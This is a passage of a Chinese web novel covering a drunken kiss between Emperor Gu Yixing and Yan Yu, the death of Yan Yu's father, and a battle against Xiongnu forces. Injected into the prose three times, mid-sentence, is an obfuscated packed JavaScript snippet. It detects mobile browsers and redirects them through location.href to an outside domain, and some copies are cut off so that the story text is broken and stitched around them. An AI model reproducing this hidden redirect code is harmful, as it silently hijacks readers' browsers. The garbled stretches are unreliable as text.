这下言煜如何能瞧不出孤弈行的心思,刚才还格外安分的一个人现在却倒在他身上,这显然不符合常理。 除非……除非她之前就没想过要安分,那些乖顺的表现不过是她有意装出来的罢了! 若是放在往常,言煜的眉头早已微微皱起,此刻与面前女子四目相对,却只觉目光灼灼,眉间并无薄怒。 她坐在他的腿上,以一种看上去极其暧昧的姿势。二人之间的空气被全然抽离,几乎能清晰地听见彼此的心跳。 言煜的气息微微有些乱了,他强迫自己定下心来,却见孤弈行在看他,或者说盯着他。 然而那双勾人心魂的桃花眼此刻却不再正对着他的眼睛,而是直直地望向他脖颈上的某处。 言煜的耳根微微红了,身体顿时有些炙热难耐,他下意识地抿了抿唇,喉结微微上下滚动。 下一秒,他感到脖颈处方才染了几滴醒酒汤的地方传来清晰的,湿润的感觉,微醺的酒气顿时散了一地。 她显然神志不清,此刻却埋在他的颈间,用最柔软的唇瓣与舌尖替他吮去残留的汤渍。 言煜能清晰地感觉到他的心跳空了一拍,呼吸有些快了。 他本以为这会是一个结束,却未曾料到她并没有打算就此收手。 言煜的目光掠过她风流尽显的眼眸,他看到她笑了一下,随即吻上了他的唇。 言煜玉色的肌肤上顿时也似染上了点点烟霞,他的左手紧紧地握着空空如也的药碗,骨节分明的手上青筋凸起,似在煎熬地压抑着什么。 万物皆静,他想要麻痹自己,却清晰地感受到唇间的温柔。她像一条毒蛇,一点一点缠上他的胸口,使他不能呼吸。 然而只有他知道,这温柔他朝思暮想,甘之若饴。 分明是她先招惹了他,那这以后,她都别想走了。 言煜终于不再隐忍,主动揽上她盈盈一握的腰肢,回应着吻上她的唇,先是浅尝辄止,而后逐渐探入。 在两年里压抑了太久的情绪,在这一刻终于爆发,他终于直面了自己内心深处对她的执念。 他感受着属于她的温度,而他的吻里毫无保留地杂糅了太多的东西。所有委屈,不甘,执念,炙热,他都想在这一刻对她诉说,以吻封缄。 他的眼睛微微有些红了,药碗也因为一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828730|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不稳而从手中脱落,掉落在地上,随即传来一阵清脆的响声。 丝丝缕缕的酒气熏得他一时失去了理智,此刻言煜才迫使自己恢复了清醒。他明白,自己逾矩了。 唇分之时,他下意识地低下了头,用指尖去触碰自己染上了些许胭脂的唇,仿佛从中还能感受到方才炙热的余韵。 相比之下,孤弈行倒成了最洒脱的一个。此刻醉意上头,她只觉眼皮有些重了,便顺势靠在他的肩上昏昏欲睡,仿佛把他当成了一只枕头似的。 言煜侧过头去,可以清晰地看见她的眉眼,还有她那细密柔软的睫毛。 他勾了勾唇,无奈地摇了摇头,随即起身把她小心翼翼地抱到了一旁的床榻上,仔细替她合拢了被褥。 就在此时门外传来一阵脚步声,随即有人叩了叩门。 “少爷。” 言煜听到了飞鸢的声音,但他好似还听到了另一个人压抑的咳嗽声。 “老爷不放心,说要来看看陛下。” 言煜定了定神,随即小心地用指尖拭去了唇上的红印,走上前去开了门。 “父亲。”言煜浅笑,神色是一如既往的温顺,令人挑不出错处。 纵然唇上的印记已经抹去,颈间残余的胭脂落入言钟正眼中却显得格外醒目,他咳嗽了一声,默默地皱了皱眉。 “飞鸢,你先下去吧,我有些话要对少爷说。” “是。”飞鸢也没有多想,随即向二人鞠了一躬,转身离开。 “煜儿,你一向懂事,很多事情都不用为父操心,但为父今日还是要提醒你一句,你逾矩了。” 言煜心思缜密,自知应是露出了破绽,但他却没有丝毫的慌乱,仿佛他从未曾想过隐瞒他对孤弈行的心意一般。 “父亲,我想与她站在一起。” 话音未落,就连一向处世泰然的言钟正都微微愣住了。知子莫若父,他一直认为他应是这个世界上最了解言煜的人,但此刻他却知道他错了。 他在两年前就猜到了言煜对孤弈行的感情,但他以为两年的时间足以冲淡这些隐晦的情愫,却不曾想到他竟似已经下了此情不渝的决心。 言钟正静静地转过身望着他,却觉得面前的青年既熟悉又陌生。 因为公务繁忙,这些年来,他很少有机会与自己的儿子独处,如今才发现他的心性早已不同以往。 他的眼神往往藏而不露,其中却仿佛渗着一股韧劲与孤傲。很少人能读懂他的眼神,就连他这个父亲此刻也才刚刚读懂,或者,也只是读懂了其中的一小部分。 想到这里,言钟正的心里泛起一阵内疚。 “我曾经也与父亲一样,以为只要我蒙蔽自己的内心,时间便会冲淡我内心的情愫。”言煜自嘲地笑了笑,望着茫茫天空中落下的初雪,声音低沉。 “可当我再见到她的时候,我便知道我错了。父亲,除了她,我可能这辈子都不会遇到再让我这般心动的人了。” 言煜浅笑着,眉间似凝了一层薄霜,目光灼灼。 19. 道别 然而一旁的言钟正的脸色却微微有些沉重,他虽心有不忍,却还是开了口,声音低沉,透露出些许无力。 “父亲尊重你的决定,她确实是个好皇帝,只是你要明白君臣本有别,如今你要与她并肩,就注定了你的一举一动都可能决定了无数人的生死。” “这一次的刺杀没有得逞,但或许只是一个引子,背后之人的野心昭然若揭。” 言钟正抚上言煜的肩膀,因年老而略显浑浊的眼眸深处真情流露。 言煜知道,父亲所言不假,而这也正是他所担心的。如今局势紧迫,他尚且无法安然地与他在一起,待他查出这幕后之人,他定会向她表露一切。 凤眼深处映着漫天飞雪,眼神却始终藏而不露。他艰难地将炽热的情绪压在胸口,宁愿自己能化作一把利刃,换她安然无虞。 次日,孤弈行睁开朦胧的睡眼,却见缕缕日光已透过床帘在地面上留下了星星点点的光影,便知自己竟一直睡到了日上三竿。 琴潇不知什么时候进了房间,如今端着一碗醒酒汤坐在床榻旁的椅子上,见孤弈行醒来,两眼似放了光:“陛下,您终于醒了,言公子吩咐人煮了一碗醒酒汤,说是帮您醒醒酒。” 孤弈行望着那看上去便不好喝的液体,心里泛起一阵强烈的抵触。然而不提言煜还好,一提起他,孤弈行便觉得自己好像忘记了什么很重要的事情。 于是太阳穴一阵发痛,孤弈行伸手去揉了揉,才算稍稍缓解。昨日果然是喝多了,她心想。 “又酸又苦的,不想喝。”孤弈行虽算不上宿醉,可也觉得有些头晕目眩,心里微微有些发燥,说话听着便也任性了些。 然而一旁的琴潇竟似是猜到她会有这样的反应似的,竟忍不住笑了。 她低下头,从衣袖中取出一包蜜饯,递到孤弈行手里,小声道:“言公子早就猜到了您不想喝,特意给了我这包蜜饯,说务必让您喝完。” 果然。能看透她的只有那狐狸一个。 孤弈行勾了勾唇,随即定心凝神地憋了一口气,一饮而尽,紧接着往嘴里塞了两颗蜜饯才算把嘴里的苦味散去了些,舌尖只余半分微甜。 “昨天的事,查得怎么样了?”孤弈行似是想到了什么,微微敛眸,唇边的笑意淡了些。 “回陛下,查到一半线索便断了。”琴潇正色道。 “继续查。” “是!” 之后几日,孤弈行一直未见到言煜,直到离开平江的前一日她终于有些按捺不住,披上了夜行衣便往言府而去。 她坐在屋檐上,远远地便瞧见言煜的房里黑着灯,走近了一些却发现屋内空无一人,而门口倒是有个飞鸢把守。 孤弈行正觉奇怪,就看见一道暗影飘过。那人轻功极好,因而孤弈行并未看轻那人正脸,却只觉其身形颀长,有些熟悉,于是便远远地跟了上去。 孤弈行一路跟着那人进了小竹林,却没有跟得太近,只是在目光可见之处观望。 她见那人从玄色衣袖中取出一只青色玉笛,随后传来一阵笛响,一男子自空中落地,向那玄衣男子跪地行礼。 孤弈行挑了挑眉,远远地听见了一声“阁主”。 那被唤阁主的玄衣男子默不作声,只是从衣袖中取出一张纸条,那男子便心领神会,转身离去。 无需多言,孤弈行便已经认定了面前此人的身份。她不欲悄悄离开,反倒是大摇大摆地向那人而去,笑容是一如既往的张扬肆意。 “无影阁阁主,久仰了。” 那男子似是愣了一下,随即转身便见孤弈行一袭红衣,手持仗天向自己而来。 玄衣男子亦头戴面具,面具之下的凤眼藏而不露,却在与面前红衣女子对视之时眼眸深处似有微光浮动。他身形修长,一记轻云步立于枯叶之上,亦能静动无声。 他能感觉到,相比之前将独门剑术孤云平天逆转使出的剑走偏锋,这一次孤弈行的剑术虽变幻莫测,不拘小节,却已是大开大合,有宗师之象。 他不禁勾了勾唇。 就在此时,孤弈行却收了攻势,转瞬之间剑已入鞘。 “言煜,你还是第一个让我孤弈行猜不透的人。我猜到你有很多秘密,却没想到这令江湖与朝堂都觊觎的无影阁阁主,竟然是你。” 孤弈行走到玄衣男子面前,笑着勾住那面具后的细绳,随即映入眼帘的是熟悉的,俊美的脸庞。 孤弈行踮起脚尖,使得自己能与那双矜贵庄重,此刻却又蕴藏着些许神秘的凤眼对视。她挑了挑眉,嘴角忍不住微微上扬。 “只是我没想到,你会为了我动用你的底牌。” 孤弈行能感觉到那双眼眸深处流露出几分未曾见过的疏离,可面前的人却还是隐去了很多情绪,抿了抿唇,缓缓开口。 “你既了解我,又怎知我不会?” 微凉的月色不偏不倚地落入他的眉宇间,这一次孤弈行看清了,他的眼眸深处浮动着粼粼波光,恍若星河,格外耀眼。 “可这几日,你似在躲我?”孤弈行趁其不备转移了话题,不欲给他丝毫退路。 话音未落,言煜握着青色玉笛的左手微微攥紧,他本欲开口,脑海中却不由自主地回想起那日言钟正对他说的话。 他知道言钟正的顾虑,他不愿让自己和整个言府卷入这场关于权力的纷争。可即使如此,他真能做到无动于衷吗?显然,他不能。 所以这一次,他想帮她,却不能以言府少爷言煜的身份,而是以世人眼中神龙见首不见尾的无影阁阁主的身份。 “陛下多虑了,言煜并无此意。”言煜微微抬眸,言行举止之间依然看上去处变不惊,温文尔雅,“等有了结果一定会第一时间传信给陛下。” 孤弈行勾了勾唇,也不欲逼他,只是笑了笑:“昨晚喝多了,若是做了什么出格的举动,还请言公子多见谅。” 言煜下意识地颔首,喉结却不由自主地微微滚动,耳根有些红了。不知为何,他总觉心中一时有些燥热。 这句话怎么听着好像她只要喝醉酒就会做 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“此一去,务必小心。”他终究还是没忍住开了口。 孤弈行明白他的顾虑,先前刺杀之事还未有头绪,此次回京势必危机四伏,可她必须要去。 天下百姓等着她坐镇京都,她又怎能因为自己的安危而对此熟视无睹呢?更何况她孤弈行的字典里,从来就没有怕这个字! “放心。” 她笑了,笑容依旧张扬肆意。她微微抬眸,目光恰巧落在了他的薄唇上,几日前封闭的记忆似被打开,她的头脑中不由自主地回忆起当时的画面。 她当时确实醉得厉害,可是如今她好像想起来了……那日她耍起了酒疯,蛮不讲理,还没忍住……吻了他! 孤弈行的脸肉眼可见地有些红了,雪白色的肌肤上似染了烟霞。尽管冬月的风已夹杂着几分凉意,她却依旧感觉浑身上下都添了几分灼热。 她甚至想抄起袖子呼自己两下,让自己更快地清醒,然而头脑中的画面和细节却越来越清晰,让她沉溺其中,无法自拔。 她有意无意偏过头去,不去看他。 言煜自然察觉出了她的异样,下意识地勾了勾唇,试探性地提了一句:“那日的事情,你当真都不记得了?” 言煜不提还好,如今提起,就如一道惊雷在孤弈行面前炸开。 她差点没忍住拔剑揍他一顿,但最终还是按捺住了自己的情绪,转身离开。孤弈行的一系列动作干脆利落,根本没让他看清自己的脸,只留下一句话。 “不记得。” 言煜站在原地,望着她的背影,目光灼灼。 等到这次的事情过去,等父亲的身体好些,我一定会履行我的承诺,与你站在一起。他想。 就当所有人认为年关前与匈奴一场大战不可避免之时,匈奴竟退回了其领地,安分守己了一个月,因而这一次的年关似乎格外平静。 然而年关刚过,平江便传来了噩耗。 20. 噩耗 那日收到自平江传来的书信时,孤弈行正在御书房批阅奏折,她的右手便不知为何微微颤抖。其中缘由,她不曾知晓,直到打开那封信笺。 那信是由平江郡守魏舒朗寄来的,上面写着: 右相言钟正旧疾复发,救治无用,正月廿二日卒于平江言府。 孤弈行不曾想到,平江一别竟成了自己与这位老臣的生离死别。 纵然从前言钟正总是能不给她一丝颜面地挑出她的错处,这也曾令她十分苦恼,但是在一众朝臣之中,言钟正与黄和海是她最为敬重的。 孤弈行的眼眶微微红了,她刻意掩饰着自己的心绪,吩咐众人退下。众人散去后,偌大的御书房便只剩下孤弈行一人。 孤弈行取了玉笔,只在上好的宣纸上留下了四个字:天妒英才。 孤弈行知道,若是言钟正身体硬朗,不受病魔所困,以他的才华,定能亲眼看见他倾尽一生所期盼见到的太平盛世。而如今,终是不能了。 此时,孤弈行却想到了另一个人。她抽出了一张信纸,提笔干脆,可正当将要落笔之际却显得格外犹豫,以至于黑色的墨汁顺着笔尖滴落在宣纸上,很快渲染开了一小片墨渍。 孤弈行皱了皱眉,她能感觉到胸口像被什么东西压着似的,竟一时有些喘不过气来。 她将那张已不能再用的信纸放到一边,又拿出了一张崭新的信纸。她提笔,煎熬了良久,最终也只在信纸的中央写下了“节哀,珍重”,然后匆匆落款。 略显昏黄的灯光落于她的眉间,显得那双桃花眼深处的情绪有些压抑。 她未曾再提笔,写下其他字眼,因为在她心中,圣旨上的文字与印记是她作为君主的心意,唯有这份信是完完整整属于她孤弈行自己的。 对于孤弈行来说,这个年关的气氛格外压抑,不仅是因为言钟正的死讯,也是因为不知何时便会去而复返的匈奴大军和藏在刺客事件背后的神秘人,这一切都让她不得不严阵以待。 然而不出孤弈行所料,次日边关便传来了匈奴攻城掠地的消息。 此次匈奴来势汹汹,几乎是举倾巢之力,乘着年关之时,短短三日,凤朝边塞要地嘉南关,武延城相继失守,第一道防线只剩下玉临关这一军事重地。 上至老人,下至孩童,几乎所有人都知道若是玉临关再失守匈奴必会长驱直入,凤朝百姓将再无安居乐业之日。 这一点,孤弈行自然更清楚,而当前士气低迷,人心惶惶,要破此局唯有亲征。 是以当日,孤弈行着令上将军喻威与车骑将军沈离松各带领十万兵马,另着令孟启,琴潇带兵随行,即日亲征,而京都洛阳则由左相黄和海坐镇。 正月廿九日,平江。 这一日,是言钟正下葬的日子。言煜一身白衣,玉唇没了平日里的血色。他立在雪地里,身形格外单薄。 “右相夫人,言公子,领旨吧。”一旁公公手持圣旨,道。 众人皆跪。 “奉天承运,皇帝召曰:右相言钟正廉洁奉公,赤胆忠心,为朝廷呕心沥血,鞠躬尽瘁,实乃朝臣表率,于朕亦师亦友,今天妒英才,朕心痛甚,着即赐谥号文礼,追封康国公,钦此。” “谢主隆恩。”言煜道,随即稳稳接过象征威严的明黄色圣旨。 一旁的沈宣清原以为公公宣旨之后便会转身离开,却不曾想看见他虚扶起了自己后向一旁的言煜而去。 “不知公公还有何事?” 言煜自然也察觉到了几分异样。他微微抬眸,唇边含着几分客气的笑意,然而他却分明看见面前人以一种异样的眼神看着自己。 言煜有着一副天下大多女人都比不过的玲珑心肠,向来最会揣度人心。他细细思索,见那眼神又酸又涩,其中似有些许怨气,又夹杂着些许艳羡之类的情绪。面前之人看似笑着,内心却不如面上那么安和。 那公公刻意凑得近了些,笑着小声道:“待到日后公子飞黄腾达了,可不要忘了洒家。” “公公何出此言?”言煜虽然面上这么问,实则听到这番说辞,已经猜出了几分缘由。他抿了抿唇,刻意按捺住心中的情绪。 那公公轻轻地拍了一下言煜的肩膀,阴柔地笑了笑,让言煜感觉到些许不适。 他从衣袖中抽出一封素色信笺,递到言煜手中,笑着道:“这是陛下让洒家务必送到公子手中的,其他人可没有这份恩典。” “烦劳公公了,若公公不弃,不妨到寒舍歇息一晚,明日再启程回京。” 言煜浅笑,言行举止令人挑不出一丝差错,眼神却藏而不露,令人看不分明其中蕴藏的丝毫情绪。 “既然如此,洒家便恭敬不如从命了。” 言煜唤人领了公公离开,随即转身欲回房,却被沈宣清叫住了。 “煜儿。” 言煜立住,转过身去,眉间沁雪。 沈宣清望着最近几日又瘦了不少的言煜,内心一阵泛酸,眼眶竟微微有些红了。 “你父亲已经走了,娘只希望,你能做自己想做的事,不要再给自己留下遗憾,等到以后追悔莫及。” 言煜勾了勾唇,眼神坚毅:“母亲,我会的。” 沈宣清笑着点了点头,望着言煜孤身离去的背影,眼眶深处压抑的泪不由得无声地滑落。 她很少见到言煜这副神情,因为在她面前,言煜总是一副言笑晏晏,什么事都不在乎的模样。她知道,他是为了让她心安。 然而正因如此,她才更心疼。沈宣清曾亲眼见过他小时候天真无邪的模样,也见过他心思深沉的模样,她知道是人心的恶让造就了他坚硬的躯壳,使他在保护自己的同时,也几乎与世隔绝,活得很累。 是以当沈宣清看到他接过信笺之时眼眸深处的闪烁的微光之时,她便明白:他的心结,或许这世间,唯有一人能解。 屋内寂静无声,唯有言煜一人。他微微敛眸,神色看上去依旧平常如故,但唯有他自己知道,他的眼眸深处压抑了浓烈到极致的情绪,凤眼几近沁血。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828732|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他缓缓打开了信封,见到信纸开头熟悉的笔迹,他的心仿佛在一瞬间停止了跃动。 开头唯有两字,焕卿。可对于言煜而言,这两字却极有分量,在他的印象里,她从未这么唤过他。 信的内容亦惟有四字,节哀,珍重。 言煜紧紧地盯着信纸,仿佛能将它看穿一样。细细观察其笔迹,他能感受到持笔人落笔的犹豫与煎熬,她似是欲有很多话想要安慰他,可等到提笔之时却有情绪阻塞,唯余此四字。 言煜微微低头,字迹入目,他却回想起了七日前父亲在病榻上对他说的话,眼眶不禁微微红了。 他向来明白言钟正的顾虑,可那日言钟正笑着望着他,却像是看透了世俗。 言钟正对他说:“她是个好皇帝,为父也能看得出你们二人心意相通,若你心意已决,便协助她,与她站在一起。” 对儿女的爱意终究让他妥协了,那日言钟正好像总觉得亏欠长子太多。言煜明白,这些年,他都因为自己身中落寒散一事耿耿于怀,不能原谅他自己,但他从未怨过他。 然而,父亲旧疾复发时那种无能为力的感觉时至今日依旧日日夜夜弥漫在言煜的心头,让他喘不过气来。 近日孤弈行率军亲征的消息从京都传来,言煜心中愈发不安。言煜知道,他决不想再失去所爱之人,决不想再体验一次无能为力的感觉了。 言煜总觉得,此次出征或许隐藏着什么阴谋,或许正与先前刺客一事有关。 他前几日查明刺客身份,发现他来自于一个江湖的刺客组织,名唤血衣。 这个组织言煜先前从未听过,奇怪的是就在刺杀一事之前这个组织才像雨后春笋一般冒了出来。 更令人奇怪的是,这个组织来去无影,没有人知道他们的总部落于何地,但言煜却隐隐觉得事情绝没有那么简单。 历来江湖与朝廷之间有着不成文的约定,若非特殊情况,朝廷不插手江湖之事,江湖亦然。而这个名唤血衣的刺客组织却敢堂而皇之地刺杀孤弈行,背后或许有朝廷之人撑腰。 无论背后之人是谁,他都会把他揪出来。言煜心想,望着手中的青玉扳指,神色严肃。 他也曾想过飞鸽传书提醒孤弈行,但他不知其位置,担心贸然行动反而被有心之人利用,便只好作罢。 言煜明白,留给他的时间不多了,早一日抓出幕后之人,她便能早一日脱离险境。 言煜的双眸似是隐了一层薄雾,令人看不分明。他走到窗边,缓缓望向边塞的方向。 若是一切顺利,她此刻想必已经到了军事重地玉临关。他心想。 玉临关。 按照天象,正月廿九日玉临关一代万里无云,因而孤弈行料到匈奴会在这一日再一次发动进攻,想要在玉临关守军因为粮草耗尽而疲惫无力的情况下,借助难得的天时一举攻破凤朝边境最后一座军事重地。 因此,孤弈行从出京城之时便命令军队加快行军速度,终于在廿九日清晨行军至玉临关一代。 21. 危局 结果不出孤弈行所料,廿九日未时,在玉临关外二十里扎营的匈奴军队果然蠢蠢欲动,一个时辰后便大摇大摆地向玉临关行军。 “陛下,玉临关内粮草辎重皆已不足,若是再不支援,玉临关的守军恐怕就要支撑不住了。”一位身着铠甲,身材魁梧的大将道。 那人正是上将军喻威,他生着一张标准的国字脸,肤色黝黑,不苟言笑,总给人一种不好接近的感觉。 喻威在祁国之时便跟随孤弈行征战多年,也算是孤弈行的老部下,如今更是坐稳了凤朝武将的第一把手。 出乎众人的意料,孤弈行似乎还是没有要出兵驰援的意思,她望着眼前的沙盘碉堡,挑了挑眉,道:“玉临关还能支撑,至少能撑到今日入夜。” 孟启明白了自家主上的意思,不语。 反倒是一旁的沈离松想到了什么,正色道:“属下明白了,这些日子就没见到过琴将军,莫不是陛下早就安排琴将军带着部分粮草辎重秘密进入了玉临关!” “陛下真是好谋划。”喻威道,但他看上去依旧是一副死鱼脸的模样,脸上并无半分欣喜。 “今日入夜,便是他们的死期。”孤弈行望向玉临关的方向,眉眼凌厉,气势如虹。 申时三刻,匈奴将军呼延落率领三万人马对玉临关展开猛烈的攻势。 出乎匈奴军队意料的是,玉临关内的凤朝守军一改往日作风,对敌人的挑衅置若罔闻,只是偶尔派出小部分军队骑马奇袭,达到目的后便不再恋战,退守城中。 不仅如此,守军还利用油罐,火箭,弓弩等利器让匈奴大军止步不前,并利用有利的地势将其射杀,匈奴大军被打了个措手不及,损失惨重。 前往攻打玉临关的匈奴领军呼延落第一次尝到了挫败的滋味,紧接着随之而来的是被蒙在鼓里的不爽。 “你不是说玉临守军的粮草辎重在前日便已耗尽吗?那老子问你,这些油罐,火箭,弓弩都是从哪里冒出来的!” 军师乌桑生着鹰钩鼻,看上去也算凶狠跋扈,但此刻在呼延落一旁却也只能点头哈腰连连道是,只是脸色青中泛白,看上去可是不太好。 “是属下无能,还望将军恕罪!” 呼延落身为武将,本就看不惯乌桑的德行,然而如今局势不太明朗,他也只好冷哼了一声,就此揭过。 他的眸色满满沉了下午,声音低沉:“害老子的军队白白折损好几千人,他不该给老子一个解释吗?” 乌桑缓缓舒了一口气,乌黑的眸子使他看上去恍若鹰隼:“将军莫急,纵然凤朝皇帝用兵如神,尚是祁国主上之时便素有威名,但暗处的老虎总是最容易咬人。将军只需静候佳音便可。” 廿九日,入夜。 呼延落在军师乌桑的劝说下暂且放缓了攻势,正欲退兵修整,却没想到一直守在玉临关内的凤朝守军突然出兵,匈奴大军并无防备,死伤惨重。 而这次带兵的,是他们从未见过的女将。那女将生着一张精致的鹅蛋脸,长枪之下英气尽显,那人正是琴潇。 若是换作平日,呼延落必定会因为凤朝派女将迎敌这件事冷嘲热讽一番,但此刻他却是气得面目狰狞,笑不出来了。 “将军,此刻凤军率军出击,恐怕有诈,再加上战士们已作战一日,皆有疲惫之意,万不可恋战。”乌桑见形势不妙,谨慎提醒道。 呼延落同样不知凤军此次出击的目的,因而心中本就有几分顾虑,被乌桑一点拨更觉奇怪,正下令撤兵,却听见不远处的马蹄声浩浩荡荡,从四面八方而来。 一个匈奴士兵跌跌撞撞地跑到呼延落面前,气喘吁吁却不敢晚开口半分:“将军……不好了……凤朝皇帝率领援军兵分两路……将我们的后侧包围住了。我们……没有退路了。” 呼延落闻言暴怒,正要迁怒于一旁的乌桑,却听见身后一支长箭以划破长空的气势飞袭而来,他侧身躲避,却也只是将将躲过,飞箭依旧在他的手臂上划出了一道不浅的口子。 他抬起头,就看见自己身后的士兵已经与凤军厮杀成一片。 令他惊讶的是,凤军正以一种不死不休的气势与他们鏖战,仿佛与匈奴士兵战斗的不是肉身,而是不死之身。 正在他诧异之时,他的余光瞥见一女子身披戎衣从烈马背上腾空跃起,手持血铜长剑,向自己袭来,正红色的披风于空中飘荡。 那女子生着一双令人过目不忘的桃花眼,原本应是风情万种,此刻却狠绝凌厉,蕴藏着万千气韵。 她勾了勾唇,笑容中揉杂着几分不屑与坚决。 呼延落毕竟也久经沙场,随即从背后抽出一把大刀,应着孤弈行的剑势而去。 他招招狠厉,但多用蛮力,几招下来也没有伤到孤弈行分毫。 他咬了咬牙,继续向孤弈行飞刀而去,却只见其身形如燕,转身竟凌于刀尖之上,而他用力挣脱,却发现仿佛有一种极其强悍的力道将他镇住,使得他无法提刀移动分毫。 分明是在冬日,呼延落却发现自己额间沁满了汗珠,后背也已微微湿透。 “只要我孤弈行在一日,凤朝的土地,还轮不到你们匈奴来造次!” 孤弈行声音洪亮,眼尾微微上扬。她手持仗天,一剑挥下,其中似有万钧之势。 呼延落的头颅被生生斩断,落在地上,染红了一小片冻土。那颗头颅上,惊惧的神色还未来得及收回,便已再无散去之日。 主将已死,匈奴大军的士气一泄千丈,最后大部分都被斩杀于玉临关外,三万人中只有五千余人在军师乌桑的指挥下成功突围,玉临关的危机最终解除。 孤弈行亲征,凤军在玉临关一战中大破匈奴的消息顿时传遍了凤朝上下,边关战士士气大振,不日便收复了最先被匈奴军队攻陷的边塞要城嘉南关,只剩武延城暂时还落入匈奴手中。 一日前,平江。 言煜一身玄衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言煜深知如今已是分秒必争之局,是以惜字如金:“我要去武延,即刻动身,飞鸢会与你解释。记住了,对外便说我染了寒疾,守孝在家。” 赵霖也是第一次见到言煜这般严肃的神情,便知他所要做之事必定十万火急,故也不阻拦。 然而赵霖转过身去望见他单薄的背影,似乎是想到了什么,焦急嚷道:“边地极寒,你不要命了!” 言煜没有回应,只是戴上了面具,翻身上马,整个动作干脆利落,没有一丝拖泥带水。他随即策马而去。 言煜记得那分明是一个春日,却不见春花烂漫,唯有漫天飞雪。 他的心里很乱,仿佛有藤蔓死死地缠绕在他的胸口,令他几乎喘不过气来。 他的双手暴露在凌冽的北风之中,已经冻得红肿,可他却毫无感觉。 他的眼中唯有前路,而心中唯有一个念头:救她。 22. 生死 卯月初四,孤弈行率领军队向武延城行军。 在出发之前,孤弈行详细研究过要到达武延城的必经之路。根据从前的行军经验,孤弈行自然明白青川峡谷是敌军埋伏的重要地点。 因而,孤弈行令几名士卒先行前往青川峡谷查看情况,令大军在青川峡谷外十里处扎营休息。 入夜,孤弈行正在帐篷中望着几处沙盘,远远听见几人的脚步声。 孟启随即入内,禀道:“陛下,据派去的士卒回话,青川峡谷一切如常,并无异样。” “孟启,你有没有觉得,这才是最大的异样?”孤弈行眉心微挑,右手斜斜地撑在沙盘上,眼神凌厉。 孟启微怔。 “从前我便与这乌桑交过手,是以我很了解他,他远比呼延落那个莽夫更有智谋。”孤弈行随即把玩着手中的白玉玉佩,一双桃花眼似乎能窥尽一切。 “若是再失武延城,匈奴此次出兵便是白白损兵折将,并无半点收益,这一点乌桑不会不清楚。”孤弈行勾了勾唇,笑容中流露出些许不屑,“除非……他们意不在此。” “陛下的意思是……”孟启恍然大悟,右手紧紧握住了佩剑,神经紧绷。 “命令大军原地休整,再派一队人马前往青川峡谷查探。” “是!” 子夜,乌桑还未入睡,却见一士兵匆匆入内,他的手中握着一封密信。 “军师,怎么样了?”一旁立着的匈奴少将问。 乌桑乌黑的眸子在暗夜之中显得更为阴沉,眼眸深处暴露出奸诈凶残的本性,他的声音有些沙哑:“此人远比我们想象中的更难对付。” “那汉人怎么说?” 乌桑勾了勾嘴角,随即小心地将信放入香炉之中,信纸很快就被焚烧成灰烬。 空旷的帐篷里,他的声音幽幽的:“他有朝一日也会成为我们的敌人。” 两日后,黎明。 孤弈行正在假寐,却远远听见帐外传来的,细碎的马蹄声,数年行军的经验让她很快清醒过来。 “孟启!”她快速地穿上戎甲,披上披风,声音嘹亮。 此刻孟启正欲入内,他神色严肃,眉头微微蹙起,行礼道:“禀陛下,乌桑率军从我军后翼的方向包抄而来了。” “传朕指令,众将士随朕迎敌!”孤弈行手持仗天,剑眉之间英气尽显。 “是!” 战鼓擂,声欲震天。 孤弈行骑于烈马之上,银白色的铠甲映着刚刚展露于长空的天光,整个人显得凛凛不可犯。她手持仗天,眉眼之间丝毫不惧,正红色披风于空中飘荡。 孤弈行料定此刻武延城外无匈奴援军,因而密令沈离松率领一支军队自青川峡谷而入奇袭武延。 “乌桑军师,好久不见。”孤弈行远远望着那双乌黑的眸子,勾了勾唇。 “陛下还真是一点也没变,还是那么年轻漂亮,只是可惜……”乌桑奸邪地笑着,声音缓缓落了下去,尾音里似乎夹杂着些许无奈与惋惜。 一旁一向面无表情的孟启此刻下意识地皱了皱眉。 倒是孤弈行感觉自己鸡皮疙瘩掉了一地,她挑了挑眉,杀气逐渐在桃花眼间弥漫开来:“何须废话!” 孤弈行一声令下,凤军将士便冲上前去,与匈奴大军杀作一团,呐喊声响彻了青川峡谷外的整片荒原。 孤弈行骑于马上,身先士卒,冲入杀阵,无数匈奴士兵向她而去,而后又有无数尸体倒下,一时间血流成河。 一向风流肆意的桃花眼深处,此刻杀意凛然。她出剑的速度极快,几乎没有人看清她的杀招便被斩于剑下。 以血铜打造的长剑上此刻沾满了鲜红的血液,鲜血顺着剑上的纹路几乎将整把剑刃染红。远远望去,形如血云,有排山倒海之势。 孤弈行深知擒贼先擒王的道理,因而一开始她的目标便唯有乌桑一人。 孤弈行一路杀至乌桑身前,倒下的匈奴士兵亦越来越多。她转念一想,放弃了原来的攻势,干脆剑走偏锋,踏马而行,动用内力向乌桑刺去。 乌桑下意识地向身后退了一寸,只见一旁的少将飞扑过来,替他接住了这致命一刀。那人随即没了呼吸,如一滩烂泥一般倒在了地上,乌桑见状心有余悸。 